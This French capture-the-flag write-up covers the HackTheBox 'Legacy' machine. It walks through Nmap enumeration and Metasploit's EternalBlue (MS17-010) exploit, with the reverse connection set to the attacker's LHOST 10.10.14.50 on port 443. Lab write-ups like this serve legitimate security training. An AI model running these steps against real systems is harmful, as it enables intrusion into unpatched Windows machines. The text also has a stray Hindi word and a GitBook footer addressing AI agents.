> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Compte rendu HackTheBox de Legacy

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération SMB
* Exploitation d’EternalBlue (MS17-010) (Exploit Triple Z)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/27c43221a41d5dd00d003b3a879c34c82e15bf2d" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/c8aaa208e61a5bedd3b025e1a4c3192965a78314" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/8a6b67fc8fb682f8bc02ad447467e3e33c03c872" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (135,139,445)

<figure><img src="/files/45e6828a64431621cd7884a35dff16055105c3ae" alt="" width="563"><figcaption></figcaption></figure>

Scan de version des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/6468fff731be7d106297280df69de91c81e1113c" alt=""><figcaption></figcaption></figure>

## Exploitation d’EternalBlue - SMB (MS17-010)

L’analyse Nmap nous indique que le serveur cible exécute une version de Windows XP, ce qui nous permet d’essayer d’exploiter la vulnérabilité MS17-010.

Nous lançons un scan Nmap pour vérifier la présence de cette vulnérabilité :

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Ce scan confirme que la machine est vulnérable à MS17-010.

<figure><img src="/files/6ad84bebe09f4874ef32421ffa9aca0d272d0093" alt=""><figcaption></figcaption></figure>

### **Exploitation avec Metasploit**

Nous recherchons l’exploit dans Metasploit :

```
msfconsole 
search eternalblue 
```

Nous sélectionnons le premier exploit सूची in the list:

```
use 1
```

<figure><img src="/files/9a997715cecc30afd6ed9ae2ae8247734cac1d91" alt=""><figcaption></figcaption></figure>

Nous configurons les options :

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/55edd8a2be51e37374e6661a6bd6048055f584c0" alt="" width="563"><figcaption></figcaption></figure>

Puis nous lançons l’exploit :

<figure><img src="/files/2bd6b9d1dff08c0ce7e282734a24ba777715b026" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/3cbfa201c177e3f08cfabc65738a503880b8b6cc" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/9d39b9a06434a569607c970e239c65fd0a88d05d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/68ccee1a482f123538d30498a41f4cc11502f005" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
